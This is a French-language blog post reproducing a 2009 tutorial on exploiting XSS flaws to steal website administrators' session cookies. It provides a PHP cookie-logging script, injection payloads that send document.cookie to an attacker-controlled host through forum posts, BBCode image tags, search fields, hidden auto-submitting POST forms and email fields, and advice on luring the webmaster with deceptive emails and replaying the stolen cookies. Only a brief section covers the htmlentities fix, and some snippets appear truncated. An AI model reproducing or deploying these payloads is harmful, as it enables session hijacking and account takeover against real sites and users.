vendredi 18 septembre 2009

La faille XSS

Introduction : Ce tutorial hypercomplet portera sur l'exploitation de la faille XSS et sur d'autre méthode peu courante par la suite.
Pour lire ce tutorial, des connaissances en HTML et PHP sont au minimum requises (aussi un peu en intelligence et en ruse :p)
Voici le sommaire :


1) Définition
2) les armes
3) Déceler
4) Exploiter
a) Forum
b) Moteur de recherche method GET
c) Moteur de recherche method POST
d) Formulaire avec des 'select'
e) Formulaire avec input limité
5) Sécuriser
6) Utiliser les cookies



1)Définition

La faille XSS, d'où son véritable nom CSS (Cross Site Scripting) changé pour ne pas confondre avec le CSS des feuilles de style (Cascading Style Sheet), est en fait une injection de code javascript dans des données lorsque le HTML n'est pas désactivé.
Je m'explique. Par exemple, si la faille XSS est présente sur un forum de discussion, un livre d'or ou un chat, nous pouvons poster en message du HTML !

(?) En quoi c'est une faille ? o_O
C'est une faille car nous pouvons injecter du code javascript pour voler des cookies, en particulier celui du webmaster qui est intéressant.

(?) Et c'est quoi un cookie ? Tu parles du gâteau américain là ?!
Du tout ! un cookie en informatique c'est un petit bloc de données sous forme d'un .txt forgé par un site web et récupéré à la prochaine connexion.
Un petit exemple : vous allez pour la première fois sur un site web, vous vous logguez et cochez une case "connexion automatique", un cookie est forgé, car à chaque fois que vous reviendrez sur le site web, vous serez loggué automatiquement car le site web aura vu votre cookie !
Avec la faille XSS, nous pourrons voler le cookie de l'admin et l'émuler, afin que le site web nous reconnaisse en tant qu'admin. :)


2) Les armes

Pour exploiter la faille XSS, il nous faut un script PHP qui va enregistrer le cookie volé dans un .txt, car nous ne pouvons par voir le cookie des autres, seulement le nôtre. Voici un code PHP à mettre dans votre fichier r.php (je fais court pour le nom, nous verrons pourquoi) :
Code : PHP

$cookie = $_GET["c"]; // on reconnaît c en variable GET
if($cookie)
{
$fp = fopen("cookies.txt","a"); // On ouvre cookies.txt en edition (il est créé si il n'existe pas)
fputs($fp,$cook . "\r\n"); // On écrit le contenu du cookie sur une nouvelle ligne
fclose($fp); // On ferme le fichier cookies.txt
/* FAIRE UNE REDIRECTION JAVASCRIPT CI-DESSOUS POUR QU'ON SE DOUTE DE RIEN */
}
?>


location.replace("http://www.google.fr");


Enregistrez le fichier sous et tapez r.php et mettez le fichier sur un serveur FTP qui supporte le PHP (lycos,webzzanine etc...)
Ici nous imaginerons que notre site est http://monsite.fr, donc le grabber aura pour adresse http://monsite.fr/r.php (je fais l'URL la plus courte, nous verrons plus tard, ne vous inquiétez pas ;) )
notre arme est en place, niark, passons à la partie suivante.


3)Déceler

Bon, maintenant que notre grabber est opérationnel, nous allons essayer de déceler une faille. Faisons rapide : trouvez un moteur de recherche. Il vous demande de taper un mot-clé. Tapez en mot-clé &ltb>test. Si vous voyez une phrase du genre "Résultats trouvés pour &ltb>test", ou bien "Aucun résultat trouvé pour &ltb>test", c'est qu'il va falloir aller ailleurs.
Par contre, si vous voyez un truc du style "Aucun résultat pour test", c'est que le HTML n'est pas paralysé, il y a une fameuse faille XSS ! :].

Voici quelques résultats censés être botenus après input de mot-clés :
test : test
test : test
test : test
test et etc... : test et etc...
test et etc... : test et etc... (continue de barrer la suite du texte)

Bien, vous vous doutez tout de même que tout cela est inutile. Maintenant, nous allons injecter du code Javascript.
Tapez en mot clé l'expression suivante :
alert('Plop !');

Si vous voyez au beau milieu de la page un joli panneau avec un incône exclamatif et un message "Plop !", c'est qu'il y a réellement une faille XSS :]

/!\ Attention, ce n'est pas tout à fait terminé !
Il faut vérifier que des cookies sont forgés sur le site web en question ! Sinon à quoi ça servirait d'exploiter cette faille ? A rien.
Allez dans votre barre d'adresse (en gros là ou vous tapez les adresses internet), puis tapez :
javascript:alert(document.cookie)

Si un panneau s'affiche avec aucun texte, vous pouvez lacher l'affaire, sinon, si vous voyez un texte du genre "login=; pass=;" etc... C'est que le site web forge des cookies d'identification ! Donc nous sommes bien parti pour une exploitation.

Mais d'abord nous allons essayer d'exploiter les failles XSS sur des forums (partie suivante)


4) Exploiter

Bon, dans cette partie, nous verrons plusieurs exploitations, les deux secondes sont facile, c'est surtout le c) qui est plus hardu, mais nous verrons ça plus tard ;)


a) Forum

Bon, vous savez déjà déceler des failles XSS sur un moteur de recherche, mais c'est pareil sur un forum. Imaginez une pure situation concrète où vous êtes un membre parmis les autres, vous avez votre cookie à vous, etc...
On va commencer discret, allez poster un message et tapez :
salut !
Si vous voyez salut, c'est que c'est bien parti. Sinon, Cachez-vous vite ^^'
Nous allons maintenant prendre un peu plus de risque, exécuter un script qui ouvre en pop-up notre voleur de cookie. Voici THE LINE à insérer après votre petit message discret :
window.open("http://monsite.fr/r.php?c="+document.cookie)

En voyant le code, on comprend parfaitement qu'il y a ?c=, c'est la variable $_GET['c'] de notre code. Ensuite on ferme le quot et on mets un + en javascript pour concaténer la variable superglobale document.cookie qui représente notre cookie, vous me suivez ? Imaginez qu'une personne dont le pseudo est Mouloude et dont le mot de passe est fraise, il aura un cookie qui peut ressembler à ça : login=Mouloude; pass= fraise;

Donc, quand il verra vote message, si il y a une faille XSS, une pop-up va s'ouvrir et va enregistrer vote cookie car c'est comme si le code était : window.open("http://monsite.fr/r.php?c=login=Mouloude; pass=fraise;")

Et vu que notre script enregistre la valeur de $_GET['c'] dans cookies.txt, nous aurons subtilisé son cookie !!

(?) Euh... ouais mais dit moi, si ça marche pas, tu crois qu'on peut y arriver avec du BBCode ? Je dis peut-être une connerie... :s
Du tout, on peut parfaitement exploiter cette faille avec du BBCode, en particulier avec des images. Comment ? En utilisant les attributs onclick, onmousehover et onerror :]

Tout d'abord, nous allons étudier quelques exemples de codes HTML sur les images et leurs résultats :

[Photo] : affiche un panneau d'alerte avec texte 'coucou' si le visiteur clique sur l'image bateau.jpg


[Photo] : affiche un panneau semblable à l'exemple précédent si cette fois le visiteur passe le curseur de sa souris sur l'image bateau.jpg


[Photo] : Affiche un panneau d'alerte semblable aux deux exemples précédents si l'image bateau.jpg n'existe pas.

(?) Et comment on peut faire avec le BBCode si tu peux rentrer qu'une adresse URL dans les [img] ?!
Voici la bonne synthaxe à insérer : Le code suivant entré en message sur le forum :
[img]http://" onerror="javascript:window.open('http://monsite.fr/r.php?c='+document.cookie)[/img]
Reviendra à exécuter le code HTML suivant :
[Photo]

Et vu que l'image http:// n'existe pas, cela aura pour effet d'ouvrir en pop-up votre grabber de cookie avec en variable le cookie du visiteur !

/!\ Attention, il se peut que votre cible aie un anti pop-up. Essayez de le manipuler pour le lui faire enlever, sinon ça ne marchera pas. Je ne fais pas des cours de S.E., donc à vous de trouver la bonne méthode...
Ceci étant dit, vous n'avez plus qu'à prier pour que l'admin vienne voir vote message piégé :)

b) Moteur de recherche method GET

Dans cette sous partie nous en revenons au moteur de recherche. Pourquoi méthode GET ? Je vais vous l'expliquer.
Imaginons que vous êtes sur un site nommé http://www.victime.com/index.php. Des que vous tapez en mot clé 'fraise', l'url deviendra ainsi (par exemple) :
http://www.victime.com/index.php?word=fraise
Rien ne nous empêche, bien évidemment, de remplacer fraise par test et pour ensuite apercevoi sur la page un truc du genre : "Aucun résultat trouvé pour test", donc si test apparaît en gras c'est qu'il y a bien XSS :p

Hop hop hop ! Pour quoi dans l'adresse à la fin je vois : %3Cb%3Etest%3C/b%3E ?!
tout simplement parce que certains caractères sont urlencodés, c'est à dire en hexadécimal et devancés du signe pourcentage (%).
Assez parlé, entrez en mot-clé dans le moteur de recherche :
location.replace="http://monsite.fr/r.php?c="+document.cookie;
Si vous êtes redirigé sur une page qui vole votre propre cookie et qui se ferme de suite, c'est qu'il y a XSS (xD)
Par contre, il va falloir prendre le temps de copier l'URL encodée avant de se faire rediriger. Répétez l'opération jusqu'à avoir réussi à copier l'adresse.
/!\ Je ne l'ai pas répeté, mais j'éspere que vous avez vérifié que les cookies de ce site étaient intéressant, je ne vous préviens plus à l'avenir... ;)
Bien bien bien, maintenant, il faut trouver le mail du webmaster, faire un mail crédible et lui demander de se rendre sur votre URL piégée pour qu'il se fasse voler son cookie, c'est comme comme ??? comme la lune :p

b) Moteur de recherche method POST

Dans cette sous partie, ça se complique bien plus. La mthod POST n'est pas en GET, c'est-à-dire que vous ne pourrez rien modifier dans l'URL... :(
Mais justement, il y a une solution, mais il vous faut bien évidemment des connaissances en HTML.
Imaginez le code HTML du moteur de recherche qui ressemble à ça :
Code : HTML

votre mot clé :



c'était juste un exemple hein !
Ici on voit qu'après avoir posté les données, une variable $_POST[] sera crée en PHP, plus précisément celle du nom de l'input, donc keyword :
$_POST['keyword']. Elle ne peut pas être modifiée via l'URL, donc nous ne pourrons pas piéger le webmaster comme ça. Mais comment ? En lui faisant poster un script ? Il n'est pas pigeon, mais c'est le bon moyen. Nous allons donc faire un petit code HTML qui va envoyer automatiquement des données en requête POST sur le moteur de recherche et la faire faire ouvrir par le webmaster.
Imaginons que la page du moteur de recherche est http://www.victime.com/index.php et que les données postées arrivent aussi sur http://www.victime.com/index.php (il n'y a pas d'action dans du code ci-dessus !) C'est partit ! Ouvez votre notepad et tapez :
Code : HTML

VALUE="


abc.submit(); // soumet les données dont la form est abc, et elle est en method POST :)


Enregistrez sous un nom bidon et mettez .html à la fin, pour que ça soit une page web. hebergez-là et faites là visiter au webmaster. Il enverra alors malencontreusement le script et se piegera lui-même, vous subtiliserez dnc son cookie, pendant qu'il se demandera ce qui a bien pû se passer :p.
Remarque : Vous pouvez très bien faire une page web crédible et mettre un iframe secret qui contient votre code qui envoie les données via POST. Exemple :
Code : HTML
Bienvenue sur mon site !
Tout le barratin...


goodie.html est, bien evidemment, la page qui contient le code qui envoie les données par methode POST :)
d) Formulaire avec des 'select'

Bien, nous avons franchi le plus dur. Maintenant nous allons voir ce qu'on peut faire avec des formulaires SELECT.

Euh... C'est quoi ?? :$
Un formulaire Select, ça ressemble à ça :

Voici le code de ce formulaire select :
Code : HTML

Choix 1
Choix 2
Choix 3


Enfin, j'ai pas été très précis sur ce coup là, vous vous doutez bien que tout ce code se trouve dans un 'form'.
Nous allons modifier la source en local pour essayer de provoquer une faille XSS. ça donne :
Code : HTML


test">Choix 1
Choix 2
Choix 3


Bon, on enregistre, on selectionne le premier choix et... ça marche pas. Pourquoi ? :)
l'argument action de form est un lien relatif. Il faut mettre le lien absolu. Donc si le site c'est http://victime.com, le lien action deviendra http://victime.com/quelquechose.php. Si vous êtes sur htp://victime.com/site/, ça deviendra http://www.victime.com/site/quelquechose.php. On me suit ? Bien.
Après l'envoie de données, si vous voyez quelque chose du style : Vous avez choisi : test
, c'est qu'une faille XSS est présente. Et vu que c'est en méthode POST, il va falloir reprendre le script de la sous-partie précédente et le faire faire exécuter par le webmestre.
Le nom de l'input sera, bien évidemment, celui du select. ça donne :

Code : HTML

VALUE="


abc.submit(); // soumet les données dont la form est abc, et elle est en method POST :)


Comme on l'a montré dans la partie précédente, faites visiter cette page au webmestre et le tour est joué !! :p


e) Formulaire avec input limité

Bien, c'est ici que nous allons voir pourquoi nous avons décidé de raccourcir le nom du fichier (r.php). parfois, quand on demande votre adresse dans un livre d'or, il n'y a que 100 caractères au minimum. Si nous entrons dans email la valeur suivante :
a@a.a" onclick="javascript:alert('plop')
Le code HTML deviendra ainsi : Mail
Et des que le visiteur cliquera sur votre mail, un message d'alerte s'affichera avec le texte 'plop'.

Faites cette action avec ce code :
a@a.a" onclick="javascript:window.open('http://site.com/r.php?c='+document.cookie')
Et des que le visiteur voudra vous mailer, une pop-up s'ouvrira et subtilisera le cookie de son visiteur si la faille XSS est présente.


5) Sécuriser

Il n'y a vraiment rien de plus simple. Vous devez utiliser la fonction htmlentities avec deux arguments :
- Le premier sera votre variable
- le second est ENT_QUOTES, pour transformer les quots en " et donc interdire les ".
Exemple :
Code : PHP
$texte = htmlentities($_POST['texte'],ENT_QUOTES);


6) Utiliser les cookies

Voila, on a subtilisé nos cookies, il nous faut prendre hkit (google...) !
Téléchargez-le, ouvez-le, allez dans l'onglet cookie. Si votre cookie ressemble à :

login=Marc; pass=phoenix;
il vous faudra créer deux cookies dans hkit : 1 qui a en nom login et en valeur Marc, et le second qui a pour nom pass et la valeur phoenix. Revenez dans le premier onglet, mettez l'adresse du site web sur lequel vous avez volé le cookie et faites open : Vous êtes connecté en tant que Marc !
Remarque : Il se peut que le pass soit crypté en MD5, soit vous l'utilisez dans votre cookie, soit vous le bruteforcez avec Caïn, soit vous utilisez ice breaker.

Tuto vidéo :


Source : http://venom630.site.voila.fr/tutoriaux/hacking/faille_xss.html

Aucun commentaire:

Enregistrer un commentaire